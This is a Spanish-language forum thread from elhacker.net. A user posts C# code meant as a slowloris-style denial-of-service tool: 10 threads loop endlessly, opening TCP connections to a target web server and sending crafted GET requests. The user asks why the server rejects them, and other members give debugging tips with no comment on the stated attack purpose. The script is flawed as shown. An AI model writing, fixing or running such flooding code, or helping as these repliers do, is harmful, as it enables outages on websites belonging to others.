Foro de elhacker.net

Programación => .NET (C#, VB.NET, ASP) => Mensaje iniciado por: Jeezy en 8 Octubre 2018, 21:44 pm



Título: Solicitud Incorrecta c#
Publicado por: Jeezy en 8 Octubre 2018, 21:44 pm
Hola, hice una conexión con tcp client hacia un servidor web y enviarle bytes mediante networkstream.write pero el servidor me devuelve el mensaje

HTTP / 1.0 Bad request, supongo que me rechazo la conexión como podría solucionar eso para poder enviar sin problema los packets y no me rechaza la conexión(slowloris)


Título: Re: Solicitud Incorrecta c#
Publicado por: MeTaD en 8 Octubre 2018, 23:06 pm
Quizás te estas olvidando de los headers...


Título: Re: Solicitud Incorrecta c#
Publicado por: Jeezy en 8 Octubre 2018, 23:45 pm
Quizás te estas olvidando de los headers...

Este es el codigo que estoy utilizando y creo que se encuentra todo bien, pero me rechaza la solicitud la pagina web. Como podria solucionar este error (Bad request).
Código:
        private static void InitClient()
        {
                for (int i = 0; i < 10; i++)
               {
                    new Thread(() =>
                     {
                         try
                         {
                             while (true)
                             {
                                 try
                                 {
                                     using (TcpClient client = new TcpClient())
                                     {
                                         client.Connect(HostOrIP, 80);
                                         client.GetStream();
                                         NetworkStream ns = client.GetStream();
                                         string All = "GET" + "/index.php?q=test" + " HTTP/1.1\r\n";
                                         All += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36\r\n";
                                         All += "Accept:*.*\r\n";
                                         All += "Host: web.info\r\n\r\n";
                                         byte[] headers = Encoding.Default.GetBytes(All);
                                         ns.Write(headers, 0, headers.Length);
                                         Console.WriteLine("+");
                                     }
                                 }
                                 catch(Exception ex)
                                 {
                                     Console.WriteLine(ex.Message);
                                 }
                                 Thread.Sleep(1000);
                             }
                         }
                         catch (Exception ex)
                         {
                             Console.ForegroundColor = ConsoleColor.Red;
                             Console.WriteLine(ex.Message);
                         }
                     }).Start();
                }
        }


Título: Re: Solicitud Incorrecta c#
Publicado por: ThunderCls en 11 Octubre 2018, 04:29 am
Pues el error lo dice todo :¬¬ el servidor no esta recibiendo la peticion de la forma que la espera
Te recomiendo usar un depurador http (HTTP Debugger Pro o simplemente Google Chrome Dev Tools) y comprobar que estas haciendo la peticion de la manera esperada haciendo el proceso directamente desde el navegador, luego intenta duplicar lo mismo desde tu aplicacion